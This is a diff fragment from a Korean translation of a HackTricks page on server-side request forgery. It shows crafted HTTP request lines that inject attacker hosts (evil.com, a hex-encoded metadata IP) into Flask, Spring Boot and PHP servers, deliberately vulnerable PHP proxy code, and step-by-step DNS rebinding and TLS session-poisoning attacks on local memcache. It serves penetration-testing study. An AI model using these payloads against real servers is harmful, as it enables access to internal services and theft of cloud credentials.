|
||||
if __name__ == "__main__":
|
||||
app.run(threaded=False)
|
||||
```
|
||||
</details>
|
||||
|
||||
Flask는 **`@`**를 초기 문자로 사용할 수 있게 해줍니다. 이를 통해 **초기 호스트 이름을 사용자 이름**으로 만들고 새로운 것을 주입할 수 있습니다. 공격 요청:
|
||||
```http
|
||||
GET @evildomain.com/ HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
### Spring Boot <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
|
||||
|
||||
취약한 코드:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (729).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
요청의 경로를 **`:`** 문자로 시작할 수 있어 **`@`**를 사용하여 새 호스트를 주입할 수 있는 것을 발견했습니다. 공격 요청:
|
||||
```http
|
||||
GET ;@evil.com/url HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
### PHP 내장 웹 서버 <a href="#heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation" id="heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation"></a>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>취약한 PHP 코드</summary>
|
||||
```php
|
||||
<?php
|
||||
$site = "http://ifconfig.me";
|
||||
$current_uri = $_SERVER['REQUEST_URI'];
|
||||
|
||||
$proxy_site = $site.$current_uri;
|
||||
var_dump($proxy_site);
|
||||
|
||||
echo "\n\n";
|
||||
|
||||
$response = file_get_contents($proxy_site);
|
||||
var_dump($response);
|
||||
?>
|
||||
```
|
||||
</details>
|
||||
|
||||
PHP는 URL 경로에서 슬래시 앞에 **char `*` 사용을 허용**하지만, 루트 경로 `/`에만 사용할 수 있으며, 첫 번째 슬래시 앞에는 점 `.`을 사용할 수 없습니다. 따라서 예를 들어 점 없는 16진수로 인코딩된 IP 주소를 사용해야 합니다:
|
||||
```http
|
||||
GET *@0xa9fea9fe/ HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
## DNS Rebidding CORS/SOP 우회
|
||||
|
||||
만약 **CORS/SOP** 때문에 **로컬 IP에서 콘텐츠를 유출하는 데 문제가 발생**한다면, **DNS Rebidding**을 사용하여 이 제한을 우회할 수 있습니다:
|
||||
|
||||
{% content-ref url="../cors-bypass.md" %}
|
||||
[cors-bypass.md](../cors-bypass.md)
|
||||
|
@ -221,48 +293,48 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
|||
|
||||
### 자동화된 DNS Rebidding
|
||||
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity)은 [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) 공격을 수행하는 도구입니다. 이 도구에는 공격 서버 DNS 이름의 IP 주소를 대상 기계의 IP 주소로 재바인딩하고 대상 기계의 취약한 소프트웨어를 악용하기 위해 공격 페이로드를 제공하는 데 필요한 구성 요소가 포함되어 있습니다.
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity)은 [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) 공격을 수행하는 도구입니다. 공격 서버 DNS 이름의 IP 주소를 대상 기기의 IP 주소로 재바인딩하고, 취약한 소프트웨어를 이용하여 대상 기기에서 공격 페이로드를 제공하는 데 필요한 구성 요소가 포함되어 있습니다.
|
||||
|
||||
또한 [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)에서 **공개적으로 실행 중인 서버**를 확인하세요.
|
||||
[**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)의 **공개 서버**도 확인해보세요.
|
||||
|
||||
## DNS Rebidding + TLS Session ID/Session ticket
|
||||
## DNS Rebidding + TLS 세션 ID/세션 티켓
|
||||
|
||||
요구 사항:
|
||||
|
||||
* **SSRF**
|
||||
* **아웃바운드 TLS 세션**
|
||||
* **외부 TLS 세션**
|
||||
* **로컬 포트에 대한 정보**
|
||||
|
||||
공격:
|
||||
|
||||
1. 사용자/봇에게 **공격자가 제어하는 도메인에 액세스**하도록 요청합니다.
|
||||
2. **DNS**의 **TTL**은 **0**초입니다 (따라서 피해자는 곧 도메인의 IP를 다시 확인할 것입니다).
|
||||
3. 피해자와 공격자의 도메인 간에 **TLS 연결**이 생성됩니다. 공격자는 **페이로드를 세션 ID 또는 세션 티켓 내부에** 삽입합니다.
|
||||
2. **DNS의 TTL**은 **0**초로 설정됩니다 (따라서 피해자는 곧 도메인의 IP를 다시 확인할 것입니다).
|
||||
3. 피해자와 공격자의 도메인 간에 **TLS 연결**이 생성됩니다. 공격자는 **페이로드를 세션 ID 또는 세션 티켓 내부에 삽입**합니다.
|
||||
4. **도메인**은 **자신에 대한 무한 리디렉션 루프**를 시작합니다. 이는 사용자/봇이 도메인에 다시 **DNS 요청**을 수행할 때까지 도메인에 액세스하도록 만드는 것입니다.
|
||||
5. DNS 요청에서 **지금은** **개인 IP** 주소가 제공됩니다 (예: 127.0.0.1).
|
||||
6. 사용자/봇은 **TLS 연결을 재설정**하려고 시도하고, 이를 위해 **세션 ID/티켓 ID를 전송**할 것입니다 (공격자의 페이로드가 포함된 곳). 축하합니다. 사용자/봇이 **자신에 대한 공격을 요청**하도록 성공했습니다.
|
||||
5. DNS 요청에 **지금은 개인 IP 주소**가 제공됩니다 (예: 127.0.0.1).
|
||||
6. 사용자/봇은 **TLS 연결을 재설정**하려고 시도하고, 이를 위해 **세션 ID/티켓 ID를 전송**할 것입니다 (여기에는 공격자의 페이로드가 포함되어 있음). 축하합니다, 사용자/봇이 **자신을 공격하도록 요청**했습니다.
|
||||
|
||||
이 공격 중에 localhost:11211 (_memcache_)를 공격하려면 피해자가 초기 연결을 www.attacker.com:11211 (포트는 **항상 동일**해야 함)로 설정하도록 해야 합니다.\
|
||||
**이 공격을 수행하려면 다음 도구를 사용**하세요: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
|
||||
이 공격이 설명된 토크를 확인하려면 **더 많은 정보**를 참조하세요: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
|
||||
**이 공격을 수행하려면 다음 도구를 사용**할 수 있습니다: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
|
||||
이 공격에 대해 설명된 토크를 확인하려면 [여기](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)를 참조하세요.
|
||||
|
||||
## Blind SSRF
|
||||
|
||||
블라인드 SSRF와 비블라인드 SSRF의 차이점은 블라인드에서 SSRF 요청의 응답을 볼 수 없다는 것입니다. 따라서 잘 알려진 취약점만 악용할 수 있기 때문에 악용이 더 어려울 수 있습니다.
|
||||
블라인드 SSRF와 비블라인드 SSRF의 차이점은 블라인드에서는 SSRF 요청의 응답을 볼 수 없다는 것입니다. 따라서 잘 알려진 취약점만을 이용할 수 있기 때문에 더 어려울 수 있습니다.
|
||||
|
||||
### 시간 기반 SSRF
|
||||
|
||||
서버로부터의 응답 시간을 **확인**함으로써 **리소스의 존재 여부를 알 수** 있을 수 있습니다 (존재하는 리소스에 액세스하는 데 더 많은 시간이 걸릴 수 있음).
|
||||
서버의 응답 시간을 확인함으로써 **리소스의 존재 여부를 알 수** 있을 수 있습니다 (존재하는 리소스에 액세스하는 데 더 많은 시간이 걸릴 수 있음).
|
||||
|
||||
## Cloud SSRF Exploitation
|
||||
## 클라우드 SSRF 이용
|
||||
|
||||
클라우드 환경 내에서 실행 중인 기계에서 SSRF 취약점을 발견하면 클라우드 환경에 대한 흥미로운 정보나 자격 증명을 얻을 수 있습니다:
|
||||
클라우드 환경 내에서 SSRF 취약점을 발견하면 클라우드 환경에 대한 흥미로운 정보나 자격 증명을 얻을 수 있습니다:
|
||||
|
||||
{% content-ref url="cloud-ssrf.md" %}
|
||||
[cloud-ssrf.md](cloud-ssrf.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## SSRF Vulnerable Platforms
|
||||
## SSRF 취약한 플랫폼
|
||||
|
||||
여러 알려진 플랫폼에는 SSRF 취약점이 포함되어 있거나 포함되어 있었던 경우가 있습니다. 이를 확인하려면 다음을 참조하세요:
|
||||
|
||||
|
@ -270,11 +342,11 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
|||
[ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Tools
|
||||
## 도구
|
||||
|
||||
### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)
|
||||
|
||||
SSRF 취약점을 감지하고 악용하는 도구
|
||||
SSRF 취약점을 감지하고 이용하는 도구
|
||||
|
||||
### [Gopherus](https://github.com/tarunkant/Gopherus)
|
||||
|
||||
|
@ -293,13 +365,13 @@ SSRF 취약점을 감지하고 악용하는 도구
|
|||
|
||||
* [SSRF 사용에 대한 블로그 게시물](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
|
||||
|
||||
_remote-method-guesser_는 가장 일반적인 _Java RMI_ 취약점에 대한 공격 작업을 지원하는 _Java RMI_ 취약점 스캐너입니다. 대부분의 사용 가능한 작업은 요청된 작업에 대한 _SSRF_ 페이로드를 생성하기 위해 `--ssrf` 옵션을 지원합니다. `--gopher` 옵션과 함께 사용하면 직접 사용할 수 있는 _gopher_ 페이로드를 직접 생성할 수 있습니다.
|
||||
_remote-method-guesser_는 가장 일반적인 _Java RMI_ 취약점에 대한 공격 작업을 지원하는 _Java RMI_ 취약점 스캐너입니다. 대부분의 사용 가능한 작업은 요청된 작업에 대한 _SSRF_ 페이로드를 생성하기 위한 `--ssrf` 옵션을 지원합니다. `--gopher` 옵션과 함께 사용하면 직접 사용할 수 있는 _gopher_ 페이로드를 직접 생성할 수 있습니다.
|
||||
|
||||
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
|
||||
|
||||
SSRF에 취약한 HTTP 서버를 터널링하는 데 사용되는 멀티 스레드 HTTP 프록시 서버
|
||||
SSRF Proxy는 Server-Side Request Forgery (SSRF)에 취약한 HTTP 서버를 통해 클라이언트 HTTP 트래픽을 터널링하는 데 사용되는 멀티 스레드 HTTP 프록시 서버입니다.
|
||||
|
||||
### 연습하기
|
||||
### 실습하기
|
||||
|
||||
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
|
||||
|
||||
|
@ -308,25 +380,4 @@ SSRF에 취약한 HTTP 서버를 터널링하는 데 사용되는 멀티 스레
|
|||
* [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
|
||||
* [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
|
||||
오늘 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
|
||||
|
|
Loading…
Reference in a new issue